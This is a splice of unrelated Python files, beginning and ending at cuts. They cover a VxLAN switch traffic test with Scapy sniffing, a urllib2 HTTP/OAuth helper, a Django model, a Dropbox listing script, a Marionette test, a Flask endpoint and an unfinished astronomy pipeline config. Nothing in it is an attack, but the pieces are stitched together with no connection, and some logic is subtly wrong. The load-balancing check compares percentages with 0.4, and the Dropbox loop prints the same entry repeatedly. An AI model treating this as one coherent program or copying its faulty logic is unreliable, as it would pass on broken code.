                (pkt['Ethernet']['IP']['dst'] == VTEP_PEER_IP) and
                (pkt['Ethernet']['IP']['UDP']['dport'] == str(UDP_DPORT)) and
                (pkt['Ethernet']['IP']['UDP']['VXLAN']['vni'] == VNI_HEX) and
                (pkt['Ethernet']['IP']['UDP']['VXLAN']['Ethernet']['src'] in exp_src) and
                    (pkt['Ethernet']['IP']['UDP']['VXLAN']['Ethernet']['dst'] == exp_dst)):

                # Check 2: If packet type is LLDP, check raw string for "lldp"
                if (pkt_type == "lldp"):
                    # If "lldp" is present, set correctly_received to True
                    if ("lldp" in pkt['Ethernet']['IP']['UDP']['VXLAN']['Ethernet']['Raw']['load']):
                        correctly_received = True
                # Packet type is not LLDP, so only Check 1 is required
                # Set correctly_received to True
                else:
                    correctly_received = True

            # Update total packet count with value of correctly_received
            packet_count += correctly_received

    return packet_count

def parse_packet(packet, recipient_type, pkt_type, exp_src, exp_dst, step):
    """
    Function to parse received packets and check if the packet values
    match expected values

    :param packet: Dictionary of sniffed packets.
    :param recipient_type: String describing if host is an AVP or NVP
    :param pkt_type: l2_basic, stp, broadcast, multicast, or lldp
    :param expected_pkts: Boolean stating if we expect packets
    :param exp_src: Expected source MAC of packet
    :param exp_dst: Expected destination MAC of packet
    :param step: Step fixture
    """

    packet_count = 0
    expected_packet_count = PKT_COUNT

    # Calling check_packet helper function to determine how many packets are
    # correctly received. Function returns packet_count
    packet_count = check_packet(
        packet, recipient_type, pkt_type, exp_src, exp_dst)

    # Print packet count at each host
    print("Packet count at {} was {}".format(recipient_type, packet_count))

    # Store packet_counts in global dict RECEIVED_PKT_DICT
    # Dict needed for ECMP check
    RECEIVED_PKT_DICT[recipient_type] = packet_count

def sniff_traffic(hs, count, timeout, recipient_type, pkt_type,
                  exp_src, exp_dst, testlog):
    """
    Sniff traffic on given interface
    :param hs: Host hs.
    :param count: Count of packets to be sniffed
    :param timeout: timeout value
    :param recipient_type: AVP or NVP
    :param pkt_type: l2_basic, stp, broadcast, multicast, or lldp
    :param step: Step fixture
    """
    iface = hs.ports['eth1']

    # If host is NVP, sniff using a filter that checks for UDP packets
    if ("NVP" in recipient_type):
        packet = hs.libs.scapy.sniff2("iface='{}', count={}, timeout={}, "
                                      " filter='port 4789 and (!icmp or !ip6)', "
                                      " prn=lambda x:x.show()".format(
                                          iface, count, timeout), True)
        parse_packet(packet, recipient_type, pkt_type,
                     exp_src, exp_dst, testlog)
    # If host is AVP, sniff using a filter that checks for Ethernet packets
    elif ("AVP" in recipient_type):
        packet = hs.libs.scapy.sniff2("iface='{}', count={}, "
                                      " timeout={}, filter='!icmp or !ip6', "
                                      " prn=lambda x:x.show()".format(
                                          iface, count, timeout), True)
        parse_packet(packet, recipient_type, pkt_type,
                     exp_src, exp_dst, testlog)

def print_transmission_results(pkts_expected_dict,
                               expected_pkt_count, testlog):
    """
    Helper function to display results of packet transmission

    :param pkts_expected_dict: Dictionary of Booleans representing if packets
          are expected at each host (Keys: Host Names, Values: True/False)
    :param expected_pkt_count: Number of packets expected
    :param testlog: Testlog fixture
    """

    # Global Dictionary representing packet count received at each host
    # (Keys: Host Names, Values: Packet Count)
    global RECEIVED_PKT_DICT

    testlog.log_subheader("Results:")

    # If packets are expected at ECMP group
    if (pkts_expected_dict["ECMP group"]):
        # Ensure that one NVP received traffic but not both (XOR)
        assert ((RECEIVED_PKT_DICT["NVP1 (h3)"] == expected_pkt_count) ^
                (RECEIVED_PKT_DICT["NVP2 (h4)"] == expected_pkt_count)), \
            "Packets expected at ECMP group, but incorrectly received. " + \
            "Check packet count at the NVPs"
        testlog.log_info("Packets correctly received at the ECMP group. " +
                         "Only one NVP received traffic")
    # Packets were not expected at the ECMP group
    else:
        testlog.log_info("Packets were not expected at the ECMP group")

    # If packets are expected at AVP1 and packets were received
    if (pkts_expected_dict["AVP1"]) and ("AVP1 (h1)" in RECEIVED_PKT_DICT.keys()):
        # Check received packet count matches expected packet count
        assert ((RECEIVED_PKT_DICT["AVP1 (h1)"] == expected_pkt_count)),\
            "Packets expected at AVP1, but incorrectly received. " + \
            "Check packet count at the AVP1"
        testlog.log_info("Packets correctly received at AVP1")
    # Packets were not expected at AVP1
    else:
        testlog.log_info("Packets were not expected at AVP1")

    # If packets are expected at AVP2 and packets were received
    if (pkts_expected_dict["AVP2"]) and ("AVP2 (h2)" in RECEIVED_PKT_DICT.keys()):
        # Check received packet count matches expected packet count
        assert ((RECEIVED_PKT_DICT["AVP2 (h2)"] == expected_pkt_count)),\
            "Packets expected at AVP2, but incorrectly received. " + \
            "Check packet count at the AVP2"
        testlog.log_info("Packets correctly received at AVP2")
    # Packets were not expected at AVP2
    else:
        testlog.log_info("Packets were not expected at AVP2")

def check_load_balancing(testlog):
    """
    Helper function to parse RECEIVED_PKT_DICT and report on
    if NVP1 or NVP2 is chosen

    :param testlog: testlog fixture
    """

    # Global Dictionary representing packet count received at each host
    # (Keys: Host Names, Values: Packet Count)
    global RECEIVED_PKT_DICT

    testlog.log_step("Final ECMP Load Balancing Results")
    NVP1_count = RECEIVED_PKT_DICT["NVP1 (h3)"]
    NVP2_count = RECEIVED_PKT_DICT["NVP2 (h4)"]
    NVP1_percent = (NVP1_count/TOTAL_MACS)*100
    NVP2_percent = (NVP2_count/TOTAL_MACS)*100

    print("NVP1 was chosen {} out of {} times, which is {:.2f}% of the time\n".format(
        NVP1_count, TOTAL_MACS, NVP1_percent))
    print("NVP2 was chosen {} out of {} times, which is {:.2f}% of the time\n".format(
        NVP2_count, TOTAL_MACS, NVP2_percent))

    # Check ECMP Load Balancing if expected
    if (PKT_TYPE == "l2_basic"):
        # Check if at least 40% of total packets were received at one host
        # Check that total NVP1_count and NVP2_count equals the number of packets
        assert((NVP1_percent >= 0.4) or (NVP2_percent >= 0.4) and
               ((NVP1_count + NVP2_count) == TOTAL_MACS)),\
            "ECMP Load Balancing Failed for Known Unicast Traffic"

        step_desc = "ECMP Load Balancing check passed for Known Unicast traffic"
        testlog.log_info(step_desc)
    else:
        # Check that all of the packets are only received at one NVP and
        # zero packets are received at the other NVP
        assert(((NVP1_count == 0) and (NVP2_count == TOTAL_MACS)) or
               (NVP2_count == 0) and (NVP1_count == TOTAL_MACS)), \
            "Load Balancing was not expected, but packets were not" +\
            " received correctly for {} traffic".format(PKT_TYPE)

        step_desc = "Load Balancing is not expected for {} traffic. ".format(PKT_TYPE) + \
                    "All traffic was directed to the BUM Next Hop"
        testlog.log_info(step_desc)

@mark.timeout(1000)
def test_ft_VxLAN_TrafficMultiAVPNVP(topology,
                                     testlog,
                                     config,
                                     get_switch_mac,
                                     get_host_macs,
                                     traffic_permutation,
                                     l2_basic_phy,
                                     l3_basic_phy):
    """
    Test sends different types of traffic between 4 hosts connected
    through VxLAN tunnel.

    Build a topology of one switch and four hosts and connect
    the hosts to the switches.
    Setup a VxLAN between switches and VLANs between ports
    and switches.
    """

    """
    Step: Create the topology as shown
    Result: Topology created successfully
    """
    testlog.log_step("Set up the switch and hosts")
    s1 = topology.get('ops1')
    h1 = topology.get('hs1')
    h2 = topology.get('hs2')
    h3 = topology.get('hs3')
    h4 = topology.get('hs4')

    argv = generate_params(s1)

    """
    Step: Configure the topology as shown
    Result: Topology has been configured successfully
    """
    # Configuring VLAN and four interfaces on switch 1
    testlog.log_subheader("Creating L2 Interfaces")
    config.create_l2_interface_type(s1,
                                    l2_basic_phy['l2_iface'],
                                    False, False,
                                    [argv['phy_ports'][0]],
                                    argv['vlan_ids'][0],
                                    None, testlog)

    config.create_l2_interface_type(s1,
                                    l2_basic_phy['l2_iface'],
                                    False, False,
                                    [argv['phy_ports'][1]],
                                    argv['vlan_ids'][0],
                                    None, testlog)

    testlog.log_subheader("Creating SVIs")
    # Creating SVI interfaces of if03 and if04
    config.create_l2_interface_type(s1,
                                    l2_basic_phy['l2_iface'],
                                    False, False,
                                    [argv['phy_ports'][2]],
                                    argv['vlan_ids'][1],
                                    None, testlog)

    config.create_l2_interface_type(s1,
                                    l2_basic_phy['l2_iface'],
                                    False, False,
                                    [argv['phy_ports'][3]],
                                    argv['vlan_ids'][2],
                                    None, testlog)

    configure_switch_vlan(s1,
                          argv['vlan_ids'][1],
                          S1_SVI_IP_1 + '/' + MASK,
                          [argv['phy_ports'][2]])

    configure_switch_vlan(s1,
                          argv['vlan_ids'][2],
                          S1_SVI_IP_2 + '/' + MASK,
                          [argv['phy_ports'][3]])

    testlog.log_subheader("Creating Switch Loopback Interface")
    # Creating a loopback interface on s1
    config.create_l3_loopback(s1,
                              '0',
                              S1_LO_IP + '/' + MASK)

    testlog.log_subheader("Configure Host IPs")
    configure_host_ips(h3, h4, argv['ip_address_hs'])

    testlog.log_subheader("Configuring IP Routes from NVPs to 20.0.0.2")
    config.switch_add_route(s1, VTEP_PEER_IP, DEST_MASK, H3_IP)
    config.switch_add_route(s1, VTEP_PEER_IP, DEST_MASK, H4_IP)

    """
    Step: Configure VxLAN interface on switch 1
    Result: VxLAN interface has been configured successfully
    """
    testlog.log_step("Configure VXLAN")
    config.configure_vxlan(s1,
                           TUN_NUM,
                           S1_LO_IP,
                           argv['vnis'])
    testlog.log_subheader("Current Running Configuration")
    s1.libs.vtysh.show_running_config()

    """
    Step:   Generate traffic type using Scapy on all hosts
    Result: Traffic successfully created
    """
    testlog.log_step("Start Scapy on hosts")
    # Starting scapy
    start_stop_scapy_on_hosts(h1)
    start_stop_scapy_on_hosts(h2)
    start_stop_scapy_on_hosts(h3)
    start_stop_scapy_on_hosts(h4)

    """
    Step:   Use scapy to configure the traffic from AVP to all hosts
    Result: Packet created
    """
    # Configure Scapy on hs1 for AVP-->All traffic
    step_desc = "Configure traffic from AVP1"
    testlog.log_step(step_desc)

    cur_src_MAC = AVP_MAC
    cur_dst_MAC = NVP_MAC
    packet_avp = scapy_configuration_avp(h1, pkt_type=PKT_TYPE,
                                         macsrc=cur_src_MAC, macdst=cur_dst_MAC)

    """
    Step:   Transmit the traffic from AVP to all hosts and
            parse the captured packet to check
            if the packet is received as expected
    Result: Traffic transmitted successfully and
            Correct values received
    """

    # Updating step_desc based on traffic type
    if (PKT_TYPE == "l2_basic"):
        step_desc = "Transmit from AVP1 (Packet Type: Unknown Unicast)\n" + \
                    "\t     Intended Receivers: AVP2, NVP1/NVP2"
    else:
        step_desc = "Transmit from AVP1 (Packet Type: {})\n".format(PKT_TYPE) + \
                    "\t     Intended Receivers: AVP2, NVP1/NVP2"

    testlog.log_step(step_desc)

    # Dictionary of Booleans for each host
    # True means Packet expected at host and False: Packets not expected at host
    pkts_expected_dict = {"AVP1": False, "AVP2": True, "ECMP group": True}
    # Sending traffic from AVP h1 to all other hosts
    with ThreadGroup() as ctx:
        # Sniffing on hs2 (AVP)
        ctx.run(sniff_traffic, hs=h2, count=SNIFF_PKT_COUNT, timeout=TIMEOUT,
                recipient_type="AVP2 (h2)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        # Sniffing on hs3 (NVP)
        ctx.run(sniff_traffic, hs=h3, count=SNIFF_PKT_COUNT, timeout=TIMEOUT,
                recipient_type="NVP1 (h3)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        # Sniffing on hs4 (NVP)
        ctx.run(sniff_traffic, hs=h4, count=SNIFF_PKT_COUNT, timeout=TIMEOUT,
                recipient_type="NVP2 (h4)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        ctx.run(start_traffic, hs=h1, packet=packet_avp, count=PKT_COUNT)

    # Checking Transmission Results
    print_transmission_results(pkts_expected_dict, PKT_COUNT, testlog)

    print(RECEIVED_PKT_DICT)
    RECEIVED_PKT_DICT.clear()

    """
    Step:   Check if MAC is learnt as expected
    Result: Source MAC is present in switch MAC table
    """
    testlog.log_step("Check MAC Learning")
    # Verifying if MAC A was learned on if01
    verify_mac = retry(
        stop_max_attempt_number=3,
        wait_fixed=1000)(verify_mac_table)
    verify_mac(sw1=s1, mac=cur_src_MAC, exp_port=argv['phy_ports'][0],
               exp_vlan=VLAN1, vtep_peer=None)

    # Update src MAC and dst MAC based on packet type
    dst_MAC_dict = {"l2_basic": AVP1_MAC, "stp": STP_DEST_MAC,
                    "broadcast": BROADCAST_MAC, "multicast": MULTICAST_MAC,
                    "lldp": LLDP_MAC}

    cur_src_MAC = NVP1_MAC
    cur_dst_MAC = dst_MAC_dict[PKT_TYPE]

    """
    Step:   Use scapy to configure the traffic for NVP to all hosts
    Result: Packet created
    """
    step_desc = "Configure traffic from NVP1"
    testlog.log_step(step_desc)

    # Configure Scapy on hs1 for NVP-->All traffic
    packet_nvp = scapy_configuration_nvp(h3, pkt_type=PKT_TYPE,
                                         inner_macsrc=cur_src_MAC,
                                         inner_macdst=cur_dst_MAC, vni=VNI,
                                         src_port=UDP_SPORT, dst_port=UDP_DPORT,
                                         src_IP=SRC_IP, dst_IP=DST_IP,
                                         outer_macsrc=OUTER_SRC_MAC,
                                         outer_macdst=OUTER_DST_MAC)

    """
    Step:   Transmit the traffic from NVP to all hosts and
            parse the captured packet to check
            if the packet is received as expected
    Result: Traffic transmitted successfully and
            Correct values received
    """
    # Updating step_desc based on traffic type
    if (PKT_TYPE == "l2_basic"):
        step_desc = "Transmit from NVP1 (Packet Type: Known Unicast)\n" + \
                    "\t     Intended Receivers: AVP1"
    else:
        step_desc = "Transmit from NVP1 (Packet Type: {})\n".format(PKT_TYPE) + \
                    "\t     Intended Receivers: AVP1, AVP2"
    testlog.log_step(step_desc)

    # If broadcast, multicast or BPDU, packet is flooded to both AVPs
    pkts_expected_dict = {"AVP1": True, "AVP2": True, "ECMP group": False}

    # If l2 basic, packet is known unicast packet and only received at AVP1
    if (PKT_TYPE == "l2_basic"):
        pkts_expected_dict = {"AVP1": True, "AVP2": False, "ECMP group": False}

    # Sending traffic from NVP1 h3 to all other hosts
    with ThreadGroup() as ctx:
        # Sniffing on h1 (AVP1)
        ctx.run(sniff_traffic, hs=h1, count=SNIFF_PKT_COUNT, timeout=TIMEOUT,
                recipient_type="AVP1 (h1)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        # Sniffing on h2 (AVP2)
        ctx.run(sniff_traffic, hs=h2, count=SNIFF_PKT_COUNT, timeout=TIMEOUT,
                recipient_type="AVP2 (h2)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        # Sniffing on h4 (NVP2)
        ctx.run(sniff_traffic, hs=h4, count=SNIFF_PKT_COUNT, timeout=TIMEOUT,
                recipient_type="NVP2 (h4)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        ctx.run(start_traffic, hs=h3, packet=packet_nvp, count=PKT_COUNT)

    # Checking Transmission Results
    print_transmission_results(pkts_expected_dict, PKT_COUNT, testlog)
    print(RECEIVED_PKT_DICT)
    RECEIVED_PKT_DICT.clear()

    """
    Step:   Check if MAC is learnt as expected
    Result: Source MAC is present in switch MAC table
    """

    testlog.log_step("Check MAC Learning")
    # Verifying if NVP1_MAC was learned on interface vxlan 1
    verify_mac(sw1=s1, mac=cur_src_MAC, exp_port="vxlan1",
               exp_vlan=VLAN1, vtep_peer=VTEP_PEER_IP)

    """
    Step:   Transmit the traffic from NVP to all hosts and
            parse the captured packet to check
            if the packet is received as expected
    Result: Traffic transmitted successfully and
            Correct values received
    """
    # Updating step_desc based on traffic type
    step_desc = "Transmit from AVP1. Permuting Source MAC to Test ECMP Load Balancing"
    testlog.log_step(step_desc)

    # If broadcast, multicast or BPDU, packet is sent to AVP2 and ECMP group
    pkts_expected_dict = {"AVP1": False, "AVP2": True, "ECMP group": True}

    # If l2 basic, packet is known unicast packet and only received at ECMP group
    if (PKT_TYPE == "l2_basic"):
        pkts_expected_dict = {"AVP1": True, "AVP2": False, "ECMP group": True}

    # Creating a list of potential source MACs
    lst_source_macs = ['00:00:00:00:00:{}'.format(
        i) for i in range(21, 21+TOTAL_MACS)]
    cur_src_MAC = lst_source_macs
    cur_dst_MAC = NVP_MAC

    packet_avp_lst = scapy_configuration_avp(h1, pkt_type=PKT_TYPE,
                                             macsrc=cur_src_MAC, macdst=cur_dst_MAC)

    with ThreadGroup() as ctx:
        # Sniffing on hs2 (AVP)
        ctx.run(sniff_traffic, hs=h2, count=TOTAL_MACS+10, timeout=LONG_TIMEOUT,
                recipient_type="AVP2 (h2)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        # Sniffing on hs3 (NVP)
        ctx.run(sniff_traffic, hs=h3, count=TOTAL_MACS+10, timeout=LONG_TIMEOUT,
                recipient_type="NVP1 (h3)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        # Sniffing on hs4 (NVP)
        ctx.run(sniff_traffic, hs=h4, count=TOTAL_MACS+10, timeout=LONG_TIMEOUT,
                recipient_type="NVP2 (h4)", pkt_type=PKT_TYPE,
                exp_src=cur_src_MAC, exp_dst=cur_dst_MAC, testlog=testlog)
        ctx.run(start_traffic, hs=h1, packet=packet_avp_lst, count=1)

    print(RECEIVED_PKT_DICT)

    # Call check_load_balancing helper function to
    check_load_balancing(testlog)

    RECEIVED_PKT_DICT.clear()
    testlog.log_step("Stop Scapy on hosts")
    # Stopping scapy
    start_stop_scapy_on_hosts(h1, action='stop')
    start_stop_scapy_on_hosts(h2, action='stop')
    start_stop_scapy_on_hosts(h3, action='stop')
    start_stop_scapy_on_hosts(h4, action='stop')


# convenience wrapper for urllib2 & friends
import binascii
import cookielib
import hmac
import json
import random
import string
import time
import urllib
import urllib2
import urlparse

from hashlib import sha1
from urllib import quote, unquote, quote_plus as _quote_plus
from urllib2 import HTTPError, URLError

from lxml import etree, html

ua_skybot = 'Skybot/1.0 http://github.com/rmmh/skybot'

ua_firefox = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) ' \
             'Gecko/20070725 Firefox/2.0.0.6'
ua_internetexplorer = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'

jar = cookielib.CookieJar()

def get(*args, **kwargs):
    return open(*args, **kwargs).read()

def get_html(*args, **kwargs):
    return html.fromstring(get(*args, **kwargs))

def get_xml(*args, **kwargs):
    return etree.fromstring(get(*args, **kwargs))

def get_json(*args, **kwargs):
    return json.loads(get(*args, **kwargs))

def open(url, query_params=None, post_data=None,
         get_method=None, cookies=False, oauth=False, oauth_keys=None, headers=None, **kwargs):
    if query_params is None:
        query_params = {}

    query_params.update(kwargs)

    url = prepare_url(url, query_params)

    request = urllib2.Request(url, post_data)

    if get_method is not None:
        request.get_method = lambda: get_method

    if headers is not None:
        for header_key, header_value in headers.iteritems():
            request.add_header(header_key, header_value)

    if 'User-Agent' not in request.headers:
        request.add_header('User-Agent', ua_skybot)

    if oauth:
        nonce = oauth_nonce()
        timestamp = oauth_timestamp()
        api_url, req_data = string.split(url, "?")
        unsigned_request = oauth_unsigned_request(
            nonce, timestamp, req_data, oauth_keys['consumer'], oauth_keys['access'])

        signature = oauth_sign_request("GET", api_url, req_data, unsigned_request, oauth_keys[
            'consumer_secret'], oauth_keys['access_secret'])

        header = oauth_build_header(
            nonce, signature, timestamp, oauth_keys['consumer'], oauth_keys['access'])
        request.add_header('Authorization', header)

    if cookies:
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
    else:
        opener = urllib2.build_opener()
    return opener.open(request)

def prepare_url(url, queries):
    if queries:
        scheme, netloc, path, query, fragment = urlparse.urlsplit(url)

        query = dict(urlparse.parse_qsl(query))
        query.update(queries)
        query = urllib.urlencode(dict((to_utf8(key), to_utf8(value))
                                      for key, value in query.iteritems()))

        url = urlparse.urlunsplit((scheme, netloc, path, query, fragment))

    return url

def to_utf8(s):
    if isinstance(s, unicode):
        return s.encode('utf8', 'ignore')
    else:
        return str(s)

def quote_plus(s):
    return _quote_plus(to_utf8(s))

def oauth_nonce():
    return ''.join([str(random.randint(0, 9)) for i in range(8)])

def oauth_timestamp():
    return str(int(time.time()))

def oauth_unsigned_request(nonce, timestamp, req, consumer, token):
    d = {'oauth_consumer_key': consumer,
         'oauth_nonce': nonce,
         'oauth_signature_method': 'HMAC-SHA1',
         'oauth_timestamp': timestamp,
         'oauth_token': token,
         'oauth_version': '1.0'}

    k, v = string.split(req, "=")
    d[k] = v

    unsigned_req = ''

    for x in sorted(d, key=lambda key: key):
        unsigned_req += x + "=" + d[x] + "&"

    unsigned_req = quote(unsigned_req[:-1])

    return unsigned_req

def oauth_build_header(nonce, signature, timestamp, consumer, token):
    d = {'oauth_consumer_key': consumer,
         'oauth_nonce': nonce,
         'oauth_signature': signature,
         'oauth_signature_method': 'HMAC-SHA1',
         'oauth_timestamp': timestamp,
         'oauth_token': token,
         'oauth_version': '1.0'}

    header = 'OAuth '

    for x in sorted(d, key=lambda key: key):
        header += x + '="' + d[x] + '", '

    return header[:-1]

def oauth_sign_request(method, url, params, unsigned_request, consumer_secret, token_secret):
    key = consumer_secret + "&" + token_secret

    base = method + "&" + quote(url, '') + "&" + unsigned_request

    hash = hmac.new(key, base, sha1)

    signature = quote(binascii.b2a_base64(hash.digest())[:-1])

    return signature

def unescape(s):
    if not s.strip():
        return s
    return html.fromstring(s).text_content()


from django.db import models
from django.contrib.auth.models import User

# Create your models here.
class Profile(models.Model):
    user_profile = models.OneToOneField(User, related_name='currentuser', on_delete=models.CASCADE)
    bio = models.TextField()
    updated = models.DateTimeField(auto_now=True)
    created = models.DateTimeField(auto_now_add=True)

    class Meta:
        ordering = ['-updated', '-created']

    def __str__(self):
        return self.user_profile.username


# from PIL import Image
# from PIL.ExifTags import TAGS
#
# def get_meta(filename):
#   image = Image.open(filename)
#   image.verify()
#   return image._getexif()
#
# def get_labels(meta):
#     labeled = {}
#     for (key, val) in meta.items():
#         labeled[TAGS.get(key)] = val
#     return labeled
#
# meta = get_meta('100-days-in-space.jpg')
# labeled = get_labels(meta)
# print(labeled)

import dropbox
# import json

client = dropbox.Dropbox('XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX')
# print(client.users_get_current_account())
metadata = client.files_list_folder('/All onboard images').entries
# metadata = metadata.json()
#print(metadata)
for i in metadata:
     print(metadata[0])

# flist = []
# if metadata.has_more == True:
    # m1 = metadata.entries
    # cur = metadata.cursor
    # for i in m1:
    #     if isinstance(i, dropbox.files.FileMetadata):
    #         flist.append([i.name, i.size])
    #     # flist now has 2000 items
    # m2 = client.files_list_folder_continue(cur)
    # while m2.has_more == True:
    #     for i in m2.entries:
    #         if isinstance(i, dropbox.files.FileMetadata):
    #             flist.append([i.name, i.size])
    #     cur = m2.cursor
    #     m2 = client.files_list_folder_continue(cur).entries
    # else:
    #     m_final = client.files_list_folder_continue(cur)
    #     for i in m_final.entries:
    #         if isinstance(i, dropbox.files.FileMetadata):
    #             flist.append([i.name, i.size])


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this
# file, You can obtain one at http://mozilla.org/MPL/2.0/.

from marionette_driver.by import By
from marionette_driver.errors import NoSuchElementException

from marionette_harness import MarionetteTestCase

class TestImplicitWaits(MarionetteTestCase):
    def test_implicitly_wait_for_single_element(self):
        test_html = self.marionette.absolute_url("test_dynamic.html")
        self.marionette.navigate(test_html)
        add = self.marionette.find_element(By.ID, "adder")
        self.marionette.timeout.implicit = 30
        add.click()
        # all is well if this does not throw
        self.marionette.find_element(By.ID, "box0")

    def test_implicit_wait_reaches_timeout(self):
        test_html = self.marionette.absolute_url("test_dynamic.html")
        self.marionette.navigate(test_html)
        self.marionette.timeout.implicit = 3
        with self.assertRaises(NoSuchElementException):
            self.marionette.find_element(By.ID, "box0")


from flask import Flask, request, jsonify
from backend.models import Models

app = Flask(__name__)

@app.route('/analysis', methods=['POST'])
def analysis():
    if request.method == "POST":
        data = request.json['input_text']
        task = request.json['task']
        CLA = Models(data)
        if task == 'sentiment_analysis':
            result = CLA.sentiment_analysis()
        if task == 'entity_recognition':
            result = CLA.entity_recognition()
        if task == 'opinion_extraction':
            result = CLA.opinion_extraction()
    else:
        result = 'it is not post request'
    return jsonify(result)

if __name__ == '__main__':
    app.run()


#! /usr/bin/env python
# -*- coding: utf-8 -*-
# Create Date    :  2017-08-17 15:35
# Git Repo       :  https://github.com/Jerry-Ma
# Email Address  :  jerry.ma.nk@gmail.com
"""
__init__.py

PostCalib pipelines
"""

from __future__ import (absolute_import, division, print_function)
import os
import re
import sys
from functools import partial

def get_tlist(config):

    from . import prep_grouping
    from . import prep_mask_otas
    from . import prep_get_refcat
    from . import sky_mask_objects
    from . import sky_combine
    from . import sky_subtract
    from . import phot_calib
    from . import phot_mosaic

    t00 = dict(
        name='select images',
        func=prep_mask_otas.select_images,
        pipe='transform',
        in_=os.path.abspath(config['jobfile']),
        extras=config['jobdir'],
        out=config['jobkey'] + '.checker',
        jobs_limit=1,
        kwargs={
            "reg_orig": config['reg_orig'],
            "fmt_inputs": config['fmt_inputs'],
            }
            )
    t01 = dict(
        name='mask OTAs',
        # func=pyfunc('prep_mask_otas.py', '{in} {out}'),
        func=prep_mask_otas.main,
        pipe='transform',
        in_=(config['sel_inputs'], config['reg_inputs']),
        extras=os.path.abspath(config['jobfile']),
        # add_inputs=[
        #     os.path.abspath(config['jobfile']),
        #     t00],
        out=fmtname(config['fmt_masked']),
        kwargs={
            "reg_inputs": config['reg_inputs'],
            "fmt_masked": config['fmt_masked'],
            "funpack_cmd": config['funpack_cmd'],
            "bpmdir": config['bpmask_dir']
            },
        follows=t00,
        )
    # reference catalogs
    t10 = dict(
        name='get refcats',
        func=prep_get_refcat.main,
        pipe='collate',
        in_=(t01, config['reg_inputs']),
        out='refcat_{object[0]}.cat',
        kwargs={
            "stilts_cmd": config['stilts_cmd'],
            },
        jobs_limit=1
            )
    t15 = dict(
        name='merge refcats',
        func=prep_get_refcat.stack_cats,
        pipe='collate',
        in_=(t10, r'(?P<kind>refcat)_(?P<object>.+)\.cat'),
        out='{kind[0]}.cat',
            )
    # fringe/pupil removal
    t20 = dict(
        name='select fcomb',
        func=prep_grouping.main,
        pipe='transform',
        in_=os.path.abspath(config['jobfile']),
        extras=config['jobdir'],
        out=config['jobkey'] + '.fcomb_group',
        jobs_limit=1,
        kwargs={
            "grpkey": 'fcomb',
            "sel_inputs": config['sel_masked'],
            "reg_inputs": config['reg_inputs'],
            "fmt_selected": config['fmt_selected'],
            },
        follows=t01,
            )
    t21 = dict(
        name='get objmask',
        func='sex',
        pipe='transform',
        in_=(config['sel_fcomb'], config['reg_inputs']),
        out_keys=['CATALOG_NAME', 'CHECKIMAGE_NAME'],
        out=[fmtname(config['fmt_objcat']),
             fmtname(config['fmt_objmask'])],
        params={'CATALOG_TYPE': 'ASCII_HEAD',
                'DETECT_MINAREA': 3,
                'DETECT_THRESH': 3,
                'ANALYSIS_THRESH': 3,
                'DEBLEND_MINCONT': 0.05,
                'BACK_SIZE': 128,
                'CHECKIMAGE_TYPE': 'SEGMENTATION',
                },
        follows=t20,
            )
    t22 = dict(
        name='mask objects',
        func=sky_mask_objects.main,
        pipe='transform',
        in_=(config['sel_fcomb'], config['reg_inputs']),
        add_inputs=fmtname(config['fmt_objmask']),
        out=fmtname(config['fmt_sky']),
        follows=[t20, t21],
        kwargs={
            'skymask_dir': config['skymask_dir']
            }
            )
    t23 = dict(
        name='create ftemp',
        func=sky_combine.main,
        pipe='collate',
        in_=(t22, config['reg_inputs']),
        out=fmtname(config['fmt_fcomb']),
        jobs_limit=1,
            )
    t24 = dict(
        name='smooth ftemp',
        func=sky_combine.smooth,
        pipe='transform',
        in_=(t23, config['reg_fcomb']),
        out=fmtname(config['fmt_fsmooth']),
        jobs_limit=1,
            )
    # fringe/pupil sub
    t30 = dict(
        name='select fsub',
        func=prep_grouping.main,
        pipe='transform',
        in_=os.path.abspath(config['jobfile']),
        extras=config['jobdir'],
        out=config['jobkey'] + '.fsub_group',
        jobs_limit=1,
        kwargs={
            "grpkey": 'fsub',
            "sel_inputs": config['sel_masked'],
            "reg_inputs": config['reg_inputs'],
            "fmt_selected": config['fmt_selected'],
            },
        follows=t01,
            )
    t31 = dict(
        name='subtract ftemp',
        func=sky_subtract.main,
        pipe='transform',
        in_=(config['sel_fsub'], config['reg_grp']),
        add_inputs=fmtname(config['fmt_fsub_fsmooth']),
        out=fmtname(config['fmt_fsub']),
        follows=[t30, t24],
            )
    # phot calib
    t40 = dict(
        name='select phot',
        func=prep_grouping.main,
        pipe='transform',
        in_=os.path.abspath(config['jobfile']),
        extras=config['jobdir'],
        out=config['jobkey'] + '.phot_group',
        jobs_limit=1,
        kwargs={
            "grpkey": 'phot',
            "sel_inputs": config['sel_fsubed'],
            "reg_inputs": config['reg_inputs'],
            "fmt_selected": config['fmt_selected'],
            "fallbacks": [('masked', config['sel_masked']), ]
            },
        follows=[t01, t31],
            )
    t41 = dict(
        name='get photcat',
        func='sex',
        pipe='transform',
        in_=(config['sel_phot'], config['reg_inputs']),
        out=fmtname(config['fmt_photcat']),
        params={'CATALOG_TYPE': 'ASCII_HEAD',
                'DETECT_MINAREA': 3,
                'DETECT_THRESH': 3,
                'ANALYSIS_THRESH': 3,
                'DEBLEND_MINCONT': 0.05,
                'PHOT_APERTURES': [18, 27, 36, 45, 54, 72, 90, 109],
                'BACK_SIZE': 128,
                # 'VERBOSE_TYPE': 'QUIET',
                },
        outparams=['MAG_APER(8)', 'MAGERR_APER(8)', 'FLUX_MAX',
